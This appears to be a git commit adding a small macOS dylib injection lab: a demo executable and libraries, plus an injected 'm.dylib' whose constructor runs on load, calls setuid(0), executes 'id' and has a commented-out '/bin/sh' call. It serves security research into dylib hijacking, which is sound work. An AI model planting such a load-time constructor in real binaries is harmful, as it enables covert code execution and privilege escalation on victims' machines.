This commit is contained in:
Karmaz95
2024-01-17 12:00:56 +01:00
parent 3854f0f1b0
commit ada7094c2b
17 changed files with 15008 additions and 31 deletions
+11
View File
@@ -0,0 +1,11 @@
//clang -dynamiclib lib1.c -o $PWD/lib1.dylib -L. -l2
#include <stdio.h>
#include "lib1.h"
#include "lib2.h"
void callLib1Function() {
printf("Now, wer are in lib1.dylib code.\n");
printf("Press enter to enter lib2.dylib function\n");
getchar();
callLib2Function();
}
+7
View File
@@ -0,0 +1,7 @@
#ifndef LIB1_H
#define LIB1_H
void callLib1Function();
#endif
+10
View File
@@ -0,0 +1,10 @@
//clang -dynamiclib lib2.c -o $PWD/lib2.dylib
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callLib2Function() {
printf("Now we are in lib2.dylib.\n");
printf("Press enter to back to executable code...\n");
getchar();
}
+7
View File
@@ -0,0 +1,7 @@
#ifndef LIB2_H
#define LIB2_H
void callLib2Function();
#endif
+17
View File
@@ -0,0 +1,17 @@
// clang -dynamiclib m.c -o m.dylib //-o $PWD/TARGET_DYLIB
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] m.dylib injected in %s\n", argv[0]);
printf("[+] m.dylib injected in %s\n", argv[0]);
setuid(0);
system("id");
//system("/bin/sh");
}
void callLib1Function(void){}
+15
View File
@@ -0,0 +1,15 @@
//clang main.c -o $PWD/executable -L. -l1
//codesign -s IDENTITY --option=runtime -f executable
#include <stdio.h>
#include "lib1.h"
int main() {
printf("Main program\n");
printf("Press enter to call lib1.dylib function...\n");
getchar();
callLib1Function();
printf("Press Enter to exit...\n");
getchar();
return 0;
}
+6
View File
@@ -0,0 +1,6 @@
#include "mylib.h"
#include <stdio.h>
void myFunction() {
printf("Hello from mylib!\n");
}
+1
View File
@@ -0,0 +1 @@
void my_function(); // Declare the function prototype
+6
View File
@@ -0,0 +1,6 @@
#include "mylib.h"
int main() {
myFunction(); // Call the function from the library
return 0;
}